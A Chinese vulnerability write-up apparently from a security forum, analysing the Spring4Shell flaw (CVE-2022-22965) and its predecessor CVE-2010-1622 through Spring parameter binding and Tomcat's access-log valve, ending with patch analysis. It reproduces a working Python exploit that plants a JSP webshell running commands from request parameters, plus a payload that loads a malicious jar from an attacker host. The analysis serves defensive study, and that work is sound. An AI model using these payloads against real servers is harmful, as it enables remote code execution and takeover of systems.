文章首发奇安信攻防社区:https://forum.butian.net/share/1496

  • 环境搭建


    github 上拉了一个现成的 spring + tmcat 环境:https://github.com/winn-hu/interface。可以在其中添加实验用的 model 和 controller。
  • 漏洞成因


    这次的 CVE-2022-22965 其实是 CVE-2010-1622 的绕过,由参数绑定造成的变量覆盖漏洞,通过更改 tomcat 服务器的日志记录属性,触发 pipeline 机制实现任意文件写入。
  • SpringMVC 的参数绑定机制


    演示 demo:
    HelloController.java
    @Controller
    public class HelloController {
        @RequestMapping("/index")
        public String index(User user) {
            return user.toString();
        }
    }
    

    User.java
    package com.moonflower.model;
    
    import com.moonflower.model.info;
    
    public class User {
        public String name;
        public String age;
        public com.moonflower.model.info info;
    
        public User(String name, String age, com.moonflower.model.info info) {
            this.name = name;
            this.age = age;
            this.info = info;
            System.out.println("调用了User的有参构造");
        }
    
        public User() {
            System.out.println("调用了User的无参构造");
        }
    
        public String getName() {
            System.out.println("调用了User的getName");
            return name;
        }
    
        public void setName(String name) {
            System.out.println("调用了User的setName");
            this.name = name;
        }
    
        public com.moonflower.model.info getInfo() {
            System.out.println("调用了User的getInfo");
            return info;
        }
    
        public void setInfo(com.moonflower.model.info info) {
            System.out.println("调用了User的setInfo");
            this.info = info;
        }
    
        @Override
        public String toString() {
            return "User{" +
                    "name='" + name + '\'' +
                    ", info=" + info +
                    '}';
        }
    }
    

    info.java
    package com.moonflower.model;
    
    public class info {
        public String QQ;
        public String vx;
    
        public info(String QQ, String vx) {
            this.QQ = QQ;
            this.vx = vx;
            System.out.println("调用了info的有参构造");
        }
    
        public info() {
            System.out.println("调用了info的无参构造");
        }
    
        public String getQQ() {
            System.out.println("调用了info的getQQ");
            return QQ;
        }
    
        public void setQQ(String QQ) {
            System.out.println("调用了info的setQQ");
            this.QQ = QQ;
        }
    
        public String getVx() {
            System.out.println("调用了info的getvx");
            return vx;
        }
    
        public void setVx(String vx) {
            this.vx = vx;
            System.out.println("调用了info的setvx");
        }
    
    
        @Override
        public String toString() {
            return "info{" +
                    "QQ='" + QQ + '\'' +
                    ", vx='" + vx + '\'' +
                    '}';
        }
    }
    

    首先尝试访问 /index?name=moonflower&info.QQ=123&info.vx=13,在执行完 toString 之后,可以看到传入的 name 自动绑定到了 user.name 上,而 info.QQ 和 info.vx 也分别自动绑定到了 user.info.QQ 和 user.info.vx 上,这也表明了 SpringMVC 支持多层嵌套的参数绑定。
    image-20220408160500800
    再看一下输出的内容,能看出参数的绑定先 get 后 set,而对于多层嵌套绑定(info.QQ),则是依次调用了 User.getinfo -> info.getQQ -> info.setQQ
    image-20220408162537886
    执行参数绑定的函数可以跟进 ServletRequestDataBinder 类中
    image-20220408163212286
    继续跟进到 doBind 中,发现其又调用了父类的 doBind,
    image-20220408163241062
    image-20220408163400974
    在 applyPropertyValues 中添加参数的值
    image-20220408163515488
    首先调用 getPropertyAccessor 获取 BeanWrapperImpl,然后调用 setPropertyValues 赋值,在 setPropertyValues 中循环调用 setPropertyValue,为每一个 propertyname 赋值(图中已经是赋值完 QQ,开始赋值 vx)
    image-20220408170046471
    然后在 setPropertyValue 中持续跟进,一直到 getPropertyAccessorForPropertyPath,
    image-20220408170021270
    在 getPropertyAccessorForPropertyPath 中解析了即将绑定的参数(info.vx)
    image-20220408170347289
    再跟到 getPropertyValue 中
    image-20220408170736556
    在 getLocalPropertyHandler 中,BeanWrapperImpl 的方法拿到了 info 类
    image-20220408170858986
    继续跟到 setDefaultValue,而 setDefaultValue 又会调用 createDefaultPropertyValue 中
    image-20220408172707060
    在 createDefaultPropertyValue 的 newValue 中可以看到反射构造
    image-20220408172906444
    image-20220408173031786
    这时看一下 output,发现已经打印了调用 info 的无参构造
    image-20220408173111390
    回到 setDefaultValue 中,接着调用里 setPropertyValue 方法,
    image-20220408181529234
    继续跟进到解析对应的参数,而这里解析到的是一个 info 类,
    image-20220408182015937
    就像刚开始说的那样,在当前要绑定的参数 (info) 无法直接赋值的时候,会进行多层嵌套的参数绑定,可以看到程序又会回到 getPropertyAccessorForPropertyPath 中,而且参数从 info.QQ 变成了 QQ,然后继续跟进,就可以看到给对应属性(QQ)的赋值操作
    image-20220408184045968
    在后续的 getValue 函数中,通过反射的方法调用了对应的 get 方法(getQQ),
    image-20220408184639669
    继续向下跟进到 setValue 中,同样也是用反射调用了对应的 set 方法,此时 output 中出现对应打印内容。
    image-20220408184751205
    大致流程(图来自 rui0 师傅)
    image-20220408204309017
  • 关于 JavaBean


    在上面的例子中声明的类(User, info)都是 JavaBean,一种特殊的类。主要用于传递数据信息,要求方法符合某种命名规则,在这些 bean 中通常只有信息字段和存储方法,没有功能性方法。
    对于 JavaBean 中的私有属性,可以通过 getter/setter 方法来访问/设置,在 jdk 中提供了一套 api 来访问某个属性的 getter/setter 方法,也就是内省。
    BeanInfo getBeanInfo(Class beanClass)
    BeanInfo getBeanInfo(Class beanClass, Class stopClass)
    

    在获得 BeanInfo 后,可以通过 PropertyDescriptors 类获取符合 JavaBean 规范的对象属性和 getter/setter 方法。
    (如果用 IDEA 调过前面参数绑定的过程,就会发现在 Spring 中对 JavaBean 的操作不是用 getBeanInfo(太麻烦了),而是用 BeanWrapperImpl 这个类的各种方法来操作。BeanWrapperImpl 类是 BeanWrapper 接口的默认实现,可以看作前面提到的 PropertyDescriptor 的封装,BeanWrapperImpl 对 Bean 的属性访问和设置最终调用的是 PropertyDescriptor。)
    demo:
    public class demo {
        public static void main(String[] args) throws Exception {
            BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
            PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
            for (PropertyDescriptor pd : descriptors) {
                System.out.println("Property: " + pd.getName());
            }
        }
    }
    

    程序跑起来的时候可以发现,User 的属性(name,info)及其方法都在 PropertyDescriptor 中可以拿到,
    image-20220408203023229
    但除此之外,还能拿到一个 Class 类,而且自带一个 getClass 方法。
    image-20220408203417114
    这里是因为没有使用 stopClass,访问该类的时候访问到了 Object.class,而内省机制的判定规则是,只要由 getter/setter 方法中的一个,就会认为存在一个对应的属性,而碰巧的是,Java 中的所有对象都会默认继承 Object 类,同时它也存在一个 getClass 方法,这样就解析到了 class 属性。
    如果直接调用:
    Introspector.getBeanInfo(Class.class)
    

    可以获取更多信息,包括关键的 classLoader。
    image-20220409104105332
  • CVE-2010-1622


    首先分析一下变量覆盖的问题,是在参数绑定的时候发生的,
    demo:
    public class UserInfo {
        private String id;
        private String number;
        private User user = new User();
        private String names[] = new String[]{"moonflower"};
    
        public String getId() {
            return id;
        }
        public String getNumber() {
            return number;
        }
        public void setId(String id) {
            this.id = id;
        }
        public User getUser() {
            return user;
        }
        public String[] getNames() {
            return names;
        }
    }
    

    设置 test 路由:
        @RequestMapping(value = "/test", method = RequestMethod.GET)
        public void test(UserInfo userInfo) {
            System.out.println("id:"+userInfo.getId());
            System.out.println("number:"+userInfo.getNumber());
            System.out.println("class:"+userInfo.getClass());
            System.out.println("user.name:"+userInfo.getUser().getName());
            System.out.println("names[0]:"+ userInfo.getNames()[0]);
            System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
        }
    

    然后访问(注意[]要编码):
    /test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=moonflower&names[0]=33333
    

    对照一下输出的内容:
    image-20220408220253963
    Id 和 name 有 get 和 set 方法,可以正常获取;number 为空,因为没有 set 方法;class 和 classLoader 也都没有 set 方法所有赋值失败。但出乎意料的是 names 没有 get 方法但赋值成功了(33333),这时需要打个断点调一下了。
    前半部分的和前面调试参数绑定的流程相同,直到跟到 getLocalPropertyHandler 中,跟进看看内部的具体实现。
    image-20220408221939906
    这里最后调用的是 CachedIntrospectionResults.getPropertyDescriptor 这个方法(最后发现图贴错了,重新补了一张,name 换了但不是重点)
    image-20220409205948940
    在其中循环调用 buildGenericTypeAwarePropertyDescriptor,查找每个属性的 getter 和 setter,
    image-20220409103442420
    image-20220409103606480
    按照之前调试的流程,一直跟进到 setPropertyValue,参数的绑定在这里面完成
    image-20220409100130081
    在前面的 CachedIntrospectionResults.getPropertyDescriptor 中拿到了这个属性的 getter 和 setter,本应该判断是否有 setter 方法(isWriteable),然后进行参数的绑定,
    image-20220409101109119
    但是在验证 isWriteable 之前,会先判断是不是数组类型,如果是的话就直接调用 Array.set 在底层赋值。
    image-20220409101236379
    目前可公开的情报:
    1.SpringMVC 支持嵌套的参数绑定
    2.JavaBean 底层实现的时候能访问到 Object.class
    3.class 这个属性存在对应的 getter 
    4.可以在没有 setter 的情况下可以修改数组变量的值
    

    在 tomcat 中的 WebappLoader 类继承了 URLClassLoader ,URLClassLoader 有一个方法 getURLs,可以返回一个数组。而 getURLs 方法在 TldLocationsCache 类(处理页面的 tld 标签库)中被调用,可以从 URL 数组中指定的目录去获取 tld 文件(运行远程获取)。
    结合以上信息,在 CVE-2010-1622 中,攻击者可以控制 class.classLoader.URLs[],提交参数:
    class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
    

    接着在渲染 jsp 页面的时候,Spring 会通过 Jasper 中的 TldLocationsCache 类从 WebappClassLoader 中读取 url 参数并用来解析 TLD 文件,其中 spring-exploit.jar里面包含修改后的 spring-form.tld,而解析 tld 的过程中允许使用 jsp 语法,那么恶意的 spring-form.tld 可以在原 /META-INF/spring-form.tld 中替换 input tag:
    <!-- <form:input/> tag -->
        <tag-file>
        <name>input</name>
        <path>/META-INF/tags/InputTag.tag</path>
      </tag-file>
    

    (input tag 会根据开发人员的定义,给参数默认赋值)
    这样就指定了一个 tag 文件解析。同样,恶意的的 tag 文件也可以放在构造的 spring-exploit.jar 中
    <%@ tag dynamic-attributes="dynattrs" %>
    <%
     j java.lang.Runtime.getRuntime().exec("calc"); 
    %>
    

    经过这样的替换后,当开发者在 controller 中将任何一个对象绑定表单(一般的 web 应用中都会由),那么就可以通过构造 payload:
    ?class.classLoader.URLs[0]=jar:http://vsp/spring-exploit.jar!/
    

    实现远程命令执行。
    除此之外,需要是该应用启动后第一次的 jsp 页面请求即第一次渲染进行TldLocationsCache.init 才可以,否则无法将修改的 URLs 内容装载,也就无法加载我们恶意的 tld。
    漏洞修复:

    虽然是 spring 的漏洞,但 tomcat 也做了对应的修复,在 tomcat6.0.28 之后的版本把 getURLs 方法返回的值改成了 clone
    6.0.28:
    public URL[] getURLs() {
            if (repositoryURLs != null) {
                return repositoryURLs;
    }
    

    之后:
    public URL[] getURLs() {
            if (repositoryURLs != null) {
                return repositoryURLs.clone();
    }
    

    至于 spring 的修复其实在之前 debug 的过程中已经能看到了,本地用的是 4.3.5 版本,在查找属性的 getter 和 setter 的时候,对 classLoader 进行了过滤。
    image-20220409103442420
  • CVE-2022-22965


    在漏洞利用的前提中有一条有其重要,就是要使 jdk9+ 的版本(本地用 jdk11 进行调试),原因是在 java9 添加了 module 模块,而 CVE-2022-22965 就是利用了这个模块实现了 CVE-2010-1622 的绕过,但与其说是绕过,更不如说是攻击方式的拓展。
    前面提到过,getBeanInfo 能获得属性的原因是有对应的 getter,在 jdk9 以后的 java.lang.Class 中,发现 getModule 方法,
    image-20220409175251746
    在 jdk9+ 的 Class.class 中也可以看到:
    image-20220409175445837
    而在这个 module 类中,也存在一个 ClassLoader 类型的属性,并且存在对应的 getter ,
    image-20220409175554892
    image-20220409175650593
    那么现在 spring 过滤 classLoader 的修复已经是被绕过了,但在 tomcat6.0.28 之后因为 getUrls 的修复,之前的利用方式也无法使用。而在这个漏洞中 getshell 的方式和之前 Apache Struts 曾经曝出过的远程代码执行(CVE-2014-0094)相似,通过修改 Tomcat 的日志设置(通过AccessLogValve)来写入恶意文件。
    到 CVE-2014-0094 在 msf 中已经集成,看一下 poc,
    image-20220409181314079
    对应 http 报文填充的内容:
    image-20220409181405577
    不过后续是直接将 ?dump 进去
    image-20220409192648824
    image-20220409192735003
    看一下 CVE-2022-22965 的 poc,这里利用了 pattern 来写?
    
        headers = {"suffix":"%>//",
                    "c1":"Runtime",
                    "c2":"<%",
                    "DNT":"1",
                    "Content-Type":"application/x-www-form-urlencoded"
    
        }
        data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
        try:
    
            requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
            shellurl = urljoin(url, 'tomcatwar.jsp')
            shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
            if shellgo.status_code == 200:
                print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
        except Exception as e:
            print(e)
            pass
    

    其中将 url 解码后,看一下每个参数的赋值:
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
    
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    
    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
    
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    看一下每个参数在 tomcat 中对应的定义:
    directory将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为“logs”(相对于 $CATALINA_BASE)。
    prefix添加到每个日志文件名称开头的前缀。如果未指定,默认值为“access_log”。
    suffix添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为“”(长度为零的字符串),表示不会添加后缀。
    fileDateFormat允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会轮换(rotated)。默认值为.yyyy-MM-dd。如果您希望每小时轮换一次,则将此值设置为.yyyy-MM-dd.HH。日期格式将始终使用 locale 进行本地化en_US
    pattern一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的 common单词combined。有关配置此属性的更多信息,请参见下文。

    下面就是通过 debug 分析一下 poc 成功执行的原因了,先打一发 payload 过去,重点看 setPropertyValue 的过程
    image-20220409204523881
    在 getPropertyAccessorForPropertyPath 中迭代解析参数
    image-20220409204937216
    重点看每次反射获取方法时调用的 class,module 前面的之前已经调过了:
    classLoader:
    image-20220409212134080
    resources:(注意这里已经开始修改 tomcat 中的属性了)
    image-20220409212227656
    context:(这里是一个 StandardContext 的上下文)
    image-20220409212339732
    image-20220409221731986
    而 StandardContext 类继承自 ContainerBase,payload 中通过 parent 获得:
    image-20220409221922360
    到现在为止,能做到覆盖 ContainerBase 的属性了,payload 中选择了 pipeline 属性,
    image-20220409222202948
    接着是 first,first 变量是一个 Valve 类型的接口,也就是说这里能修改继承这个接口的类中的属性,
    image-20220409222528400
    最后修改了 AccessLogValve 这个类中的属性。
    image-20220409222945610
    AccessLogValve 用来记录访问日志 access_log。Tomcat 的 server.xml 中默认配置了 AccessLogValve,所有部署在 Tomcat 中的 Web 应用均会执行该 Valve。对照前面 tomcat 对其中属性的定义,已经可以控制日志后缀名,文件名称,存放位置等属性。(在 server.xml 中定义)
    image-20220409223937023
    本来 log 内容以 pattern 的格式填充,而 payload 中直接进行了覆盖,从而写进去了?。
    还有一个问题就是为什么要加一个 fileDateFormat,目的是触发 tomcat 切换日志。看一下 AccessLogValve 的 rotatable 属性。
    image-20220409225312259
    用于确定是否应发生日志轮换的标志。如果设置为 false,则永远不会轮转此文件并忽略 fileDateFormat。默认值:true
    

    意思就是说,当这个值为 true 的时候,tomcat 会根据时间的变换而自动生成新的文件,避免所有的日志从 tomcat 运行开始都写在一个文件中。如下:
    image-20220409225714380
    再看一下执行这个过程的代码实现:
    image-20220409225856012
    其中 fileDateFormat 的初始化:
    image-20220409230028127
    那么如果在程序运行时把 fileDateFormat 改为空,就会导致 toDate 为空,进入 if 语句并打开新的 log 文件。
    跟进一下 open 的实现流程,也能和前面传入的属性对应。
    image-20220409230426709
    到现在已经实现了任意文件的写入,但是要写?的话还是有些问题要解决。
    在 tomcat 的比较新的版本中,无法在 URL 中携带 <{ 等特殊字符,但在 AccessLogValve 的输出方式支持 Apache HTTP Server日志配置语法模型,可以通过占位符写入特殊字符。
    %{xxx}i 请求headers的信息
    %{xxx}o 响应headers的信息
    %{xxx}c 请求cookie的信息
    %{xxx}r xxx是ServletRequest的一个属性
    %{xxx}s xxx是HttpSession的一个属性
    
  • 漏洞复现


    github 上拉一个:https://github.com/fengguangbin/spring-rce-war
    把 stupidRumor_war.war 放到 tomcat 的 webapps 中,试一下任意文件写入:
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D%3A%5Cenvironment%5Capache-tomcat%5Capache-tomcat-8.5.73%5Cwebapps%5Ctmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    image-20220409233845110
    但是这个 payload 还是存在一些问题,首先是初次写入后无法修改写入文件的位置,然后就是每次访问都会向?中添加内容(图中的两个 success)。
    根据我们前面的分析,出现这种情况的原因是没有触发 rotata,因为两次传入的 fileDateFormat 都为空,equal 的时候自然就会相等,从而无法生成新的日志。
    解决方法就是如果要修改?的位置,让 fileDateFormat 和上次不一样就行,可以通过 "fileDateFormat + prefix".jsp 的格式拼接出文件名。
    而对于重复添加内容,可以在 webshell 末尾添加 <!-- 把后面的内容注释掉。
  • 利用限制


    • JDK9 或以上版本系列(存在 module 属性)
    • Spring 框架或衍生的 SpringBoot 等框架,版本小于 v5.3.18 或 v5.2.20(支持参数绑定机制)
    • Spring JavaBean 表单参数绑定需要满足一定条件
    • 以 war 包的形式部署在 Tomcat 容器中,且日志记录功能开启(默认状态)

    漏洞利用的关键点是利用 module 属性加载 org.apache.catalina.loader.ParallelWebappClassLoader 这个 classLoader,image-20220408220253963
    将利用链的挖掘转移到了 tomcat 中,再通过修改其中的一系列属性 getshell。
    但如果 web 应用是以 jar 包的形式部署(比较常见),那么 classLoader 就会被解析成 org.springframework.boot.loader.LaunchedURLClassLoader,无法继续利用 tomcat 的属性。
  • 补丁分析


    Spring(5.3.18):
    image-20220410001554413
    直接用白名单,对于 class 只能获取以 name 结尾的属性,比起之前的黑名单算是修的比较彻底了。
    Tomcat(9.0.62):
    image-20220410001802378
    十分彻底 ,getResouces 直接返回 null,后续的链就都断了。
  • 参考文献